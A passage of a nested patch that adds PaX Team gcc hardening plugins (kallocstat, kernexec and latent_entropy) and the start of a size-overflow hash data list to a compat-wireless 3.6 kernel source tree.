++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kallocstat",
++		.gate			= NULL,
++		.execute		= execute_kallocstat,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static bool is_kalloc(const char *fnname)
++{
++	size_t i;
++
++	for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++)
++		if (!strcmp(fnname, kalloc_functions[i]))
++			return true;
++	return false;
++}
++
++static unsigned int execute_kallocstat(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: 
++			tree fndecl, size;
++			gimple call_stmt;
++			const char *fnname;
++
++			// is it a call
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fndecl = gimple_call_fndecl(call_stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (TREE_CODE(fndecl) != FUNCTION_DECL)
++				continue;
++
++			// is it a call to k*alloc
++			fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl));
++			if (!is_kalloc(fnname))
++				continue;
++
++			// is the size arg the result of a simple const assignment
++			size = gimple_call_arg(call_stmt, 0);
++			while (true) {
++				gimple def_stmt;
++				expanded_location xloc;
++				size_t size_val;
++
++				if (TREE_CODE(size) != SSA_NAME)
++					break;
++				def_stmt = SSA_NAME_DEF_STMT(size);
++				if (!def_stmt || !is_gimple_assign(def_stmt))
++					break;
++				if (gimple_num_ops(def_stmt) != 2)
++					break;
++				size = gimple_assign_rhs1(def_stmt);
++				if (!TREE_CONSTANT(size))
++					continue;
++				xloc = expand_location(gimple_location(def_stmt));
++				if (!xloc.file)
++					xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++				size_val = TREE_INT_CST_LOW(size);
++				fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line);
++				break;
++			}
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++//debug_tree(gimple_call_fn(call_stmt));
++//print_node(stderr, "pax", fndecl, 4);
++		}
++	}
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info kallocstat_pass_info = {
++		.pass				= &kallocstat_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kernexec_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/kernexec_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kernexec_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/kernexec_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,427 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info kernexec_plugin_info = {
++	.version	= "201111291120",
++	.help		= "method=[bts|or]\tinstrumentation method\n"
++};
++
++static unsigned int execute_kernexec_reload(void);
++static unsigned int execute_kernexec_fptr(void);
++static unsigned int execute_kernexec_retaddr(void);
++static bool kernexec_cmodel_check(void);
++
++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *);
++static void (*kernexec_instrument_retaddr)(rtx);
++
++static struct gimple_opt_pass kernexec_reload_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_reload",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_reload,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct gimple_opt_pass kernexec_fptr_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_fptr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_fptr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct rtl_opt_pass kernexec_retaddr_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "kernexec_retaddr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_retaddr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func | TODO_ggc_collect
++	}
++};
++
++static bool kernexec_cmodel_check(void)
++{
++	tree section;
++
++	if (ix86_cmodel != CM_KERNEL)
++		return false;
++
++	section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl));
++	if (!section || !TREE_VALUE(section))
++		return true;
++
++	section = TREE_VALUE(TREE_VALUE(section));
++	if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10))
++		return true;
++
++	return false;
++}
++
++/*
++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered
++ */
++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi)
++{
++	gimple asm_movabs_stmt;
++
++	// build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : );
++	asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL);
++	gimple_asm_set_volatile(asm_movabs_stmt, true);
++	gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(asm_movabs_stmt);
++}
++
++/*
++ * find all asm() stmts that clobber r10 and add a reload of r10
++ */
++static unsigned int execute_kernexec_reload(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: __asm__ ("" :  :  : "r10");
++			gimple asm_stmt;
++			size_t nclobbers;
++
++			// is it an asm ...
++			asm_stmt = gsi_stmt(gsi);
++			if (gimple_code(asm_stmt) != GIMPLE_ASM)
++				continue;
++
++			// ... clobbering r10
++			nclobbers = gimple_asm_nclobbers(asm_stmt);
++			while (nclobbers--) {
++				tree op = gimple_asm_clobber_op(asm_stmt, nclobbers);
++				if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10"))
++					continue;
++				kernexec_reload_fptr_mask(&gsi);
++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO);
++				break;
++			}
++		}
++	}
++
++	return 0;
++}
++
++/*
++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce
++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference
++ */
++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi)
++{
++	gimple assign_intptr, assign_new_fptr, call_stmt;
++	tree intptr, old_fptr, new_fptr, kernexec_mask;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary unsigned long variable used for bitops and cast fptr to it
++	intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts");
++	add_referenced_var(intptr);
++	mark_sym_for_renaming(intptr);
++	assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// apply logical or to temporary unsigned long and bitmask
++	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL);
++//	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL);
++	assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// cast temporary unsigned long back to a temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++	assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr));
++	gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT);
++	update_stmt(assign_new_fptr);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi)
++{
++	gimple asm_or_stmt, call_stmt;
++	tree old_fptr, new_fptr, input, output;
++	VEC(tree, gc) *inputs = NULL;
++	VEC(tree, gc) *outputs = NULL;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++
++	// build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr));
++	input = build_tree_list(NULL_TREE, build_string(2, "0"));
++	input = chainon(NULL_TREE, build_tree_list(input, old_fptr));
++	output = build_tree_list(NULL_TREE, build_string(3, "=r"));
++	output = chainon(NULL_TREE, build_tree_list(output, new_fptr));
++	VEC_safe_push(tree, gc, inputs, input);
++	VEC_safe_push(tree, gc, outputs, output);
++	asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL);
++	gimple_asm_set_volatile(asm_or_stmt, true);
++	gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT);
++	update_stmt(asm_or_stmt);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++/*
++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer
++ */
++static unsigned int execute_kernexec_fptr(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D));
++			tree fn;
++			gimple call_stmt;
++
++			// is it a call ...
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fn = gimple_call_fn(call_stmt);
++			if (TREE_CODE(fn) == ADDR_EXPR)
++				continue;
++			if (TREE_CODE(fn) != SSA_NAME)
++				gcc_unreachable();
++
++			// ... through a function pointer
++			fn = SSA_NAME_VAR(fn);
++			if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != POINTER_TYPE)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != FUNCTION_TYPE)
++				continue;
++
++			kernexec_instrument_fptr(&gsi);
++
++//debug_tree(gimple_call_fn(call_stmt));
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++		}
++	}
++
++	return 0;
++}
++
++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn
++static void kernexec_instrument_retaddr_bts(rtx insn)
++{
++	rtx btsq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("btsq $63,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(btsq) = 1;
++//	RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(btsq, insn);
++}
++
++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn
++static void kernexec_instrument_retaddr_or(rtx insn)
++{
++	rtx orq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("orq %%r10,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(orq) = 1;
++//	RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(orq, insn);
++}
++
++/*
++ * find all asm level function returns and forcibly set the highest bit of the return address
++ */
++static unsigned int execute_kernexec_retaddr(void)
++{
++	rtx insn;
++
++	// 1. find function returns
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil))
++		//            (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil))
++		rtx body;
++
++		// is it a retn
++		if (!JUMP_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) == PARALLEL)
++			body = XVECEXP(body, 0, 0);
++		if (GET_CODE(body) != RETURN)
++			continue;
++		kernexec_instrument_retaddr(insn);
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info kernexec_reload_pass_info = {
++		.pass				= &kernexec_reload_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_fptr_pass_info = {
++		.pass				= &kernexec_fptr_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_retaddr_pass_info = {
++		.pass				= &kernexec_retaddr_pass.pass,
++		.reference_pass_name		= "pro_and_epilogue",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "method")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			if (!strcmp(argv[i].value, "bts")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_bts;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts;
++			} else if (!strcmp(argv[i].value, "or")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_or;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_or;
++				fix_register("r10", 1, 1);
++			} else
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++	if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr)
++		error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name);
++
++	if (kernexec_instrument_fptr == kernexec_instrument_fptr_or)
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/latent_entropy_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/latent_entropy_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/latent_entropy_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/latent_entropy_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,295 @@
++/*
++ * Copyright 2012 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help generate a little bit of entropy from program state,
++ * used during boot in the kernel
++ *
++ * TODO:
++ * - add ipa pass to identify not explicitly marked candidate functions
++ * - mix in more program state (function arguments/return values, loop variables, etc)
++ * - more instrumentation control via attribute parameters
++ *
++ * BUGS:
++ * - LTO needs -flto-partition=none for now
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++int plugin_is_GPL_compatible;
++
++static tree latent_entropy_decl;
++
++static struct plugin_info latent_entropy_plugin_info = {
++	.version	= "201207271820",
++	.help		= NULL
++};
++
++static unsigned int execute_latent_entropy(void);
++static bool gate_latent_entropy(void);
++
++static struct gimple_opt_pass latent_entropy_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "latent_entropy",
++		.gate			= gate_latent_entropy,
++		.execute		= execute_latent_entropy,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	if (TREE_CODE(*node) != FUNCTION_DECL) {
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec latent_entropy_attr = {
++	.name				= "latent_entropy",
++	.min_length			= 0,
++	.max_length			= 0,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_latent_entropy_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&latent_entropy_attr);
++}
++
++static bool gate_latent_entropy(void)
++{
++	tree latent_entropy_attr;
++
++	latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl));
++	return latent_entropy_attr != NULL_TREE;
++}
++
++static unsigned HOST_WIDE_INT seed;
++static unsigned HOST_WIDE_INT get_random_const(void)
++{
++	seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL);
++	return seed;
++}
++
++static enum tree_code get_op(tree *rhs)
++{
++	static enum tree_code op;
++	unsigned HOST_WIDE_INT random_const;
++
++	random_const = get_random_const();
++
++	switch (op) {
++	case BIT_XOR_EXPR:
++		op = PLUS_EXPR;
++		break;
++
++	case PLUS_EXPR:
++		if (rhs) {
++			op = LROTATE_EXPR;
++			random_const &= HOST_BITS_PER_WIDE_INT - 1;
++			break;
++		}
++
++	case LROTATE_EXPR:
++	default:
++		op = BIT_XOR_EXPR;
++		break;
++	}
++	if (rhs)
++		*rhs = build_int_cstu(unsigned_intDI_type_node, random_const);
++	return op;
++}
++
++static void perturb_local_entropy(basic_block bb, tree local_entropy)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, rhs;
++	enum tree_code op;
++
++	op = get_op(&rhs);
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs);
++	assign = gimple_build_assign(local_entropy, addxorrol);
++	find_referenced_vars_in(assign);
++//debug_bb(bb);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static void perturb_latent_entropy(basic_block bb, tree rhs)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, temp;
++
++	// 1. create temporary copy of latent_entropy
++	temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy");
++	add_referenced_var(temp);
++	mark_sym_for_renaming(temp);
++
++	// 2. read...
++	assign = gimple_build_assign(temp, latent_entropy_decl);
++	find_referenced_vars_in(assign);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 3. ...modify...
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs);
++	assign = gimple_build_assign(temp, addxorrol);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 4. ...write latent_entropy
++	assign = gimple_build_assign(latent_entropy_decl, temp);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static unsigned int execute_latent_entropy(void)
++{
++	basic_block bb;
++	gimple assign;
++	gimple_stmt_iterator gsi;
++	tree local_entropy;
++
++	if (!latent_entropy_decl) {
++		struct varpool_node *node;
++
++		for (node = varpool_nodes; node; node = node->next) {
++			tree var = node->decl;
++			if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy"))
++				continue;
++			latent_entropy_decl = var;
++//			debug_tree(var);
++			break;
++		}
++		if (!latent_entropy_decl) {
++//			debug_tree(current_function_decl);
++			return 0;
++		}
++	}
++
++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl)));
++
++	// 1. create local entropy variable
++	local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy");
++	add_referenced_var(local_entropy);
++	mark_sym_for_renaming(local_entropy);
++
++	// 2. initialize local entropy variable
++	bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++	gsi = gsi_start_bb(bb);
++
++	assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const()));
++//	gimple_set_location(assign, loc);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	bb = bb->next_bb;
++
++	// 3. instrument each BB with an operation on the local entropy variable
++	while (bb != EXIT_BLOCK_PTR) {
++		perturb_local_entropy(bb, local_entropy);
++		bb = bb->next_bb;
++	};
++
++	// 4. mix local entropy into the global entropy variable
++	perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy);
++	return 0;
++}
++
++static void start_unit_callback(void *gcc_data, void *user_data)
++{
++#if BUILDING_GCC_VERSION >= 4007
++	seed = get_random_seed(false);
++#else
++	sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed);
++	seed *= seed;
++#endif
++
++	if (in_lto_p)
++		return;
++
++	// extern u64 latent_entropy
++	latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node);
++
++	TREE_STATIC(latent_entropy_decl) = 1;
++	TREE_PUBLIC(latent_entropy_decl) = 1;
++	TREE_USED(latent_entropy_decl) = 1;
++	TREE_THIS_VOLATILE(latent_entropy_decl) = 1;
++	DECL_EXTERNAL(latent_entropy_decl) = 1;
++	DECL_ARTIFICIAL(latent_entropy_decl) = 0;
++	DECL_INITIAL(latent_entropy_decl) = NULL;
++//	DECL_ASSEMBLER_NAME(latent_entropy_decl);
++//	varpool_finalize_decl(latent_entropy_decl);
++//	varpool_mark_needed_node(latent_entropy_decl);
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info latent_entropy_pass_info = {
++		.pass				= &latent_entropy_pass.pass,
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info);
++	register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info);
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_hash.data compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_hash.data
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_hash.data	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_hash.data	2012-10-15 17:30:59.834924531 +0000
+@@ -0,0 +1,3597 @@
++_000001_hash alloc_dr 2 65495 _000001_hash NULL
++_000002_hash __copy_from_user 3 10918 _000002_hash NULL
++_000003_hash copy_from_user 3 17559 _000003_hash NULL
++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL
++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL
++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL
++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL
++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL
++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray
++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL
++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL
++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL
++_000014_hash kmemdup 2 64015 _000014_hash NULL
++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray
++_000016_hash memdup_user 2 59590 _000016_hash NULL
++_000017_hash module_alloc 1 63630 _000017_hash NULL
++_000018_hash read_default_ldt 2 14302 _000018_hash NULL
++_000019_hash read_kcore 3 63488 _000019_hash NULL
++_000020_hash read_ldt 2 47570 _000020_hash NULL
++_000021_hash read_zero 3 19366 _000021_hash NULL
++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL
++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL
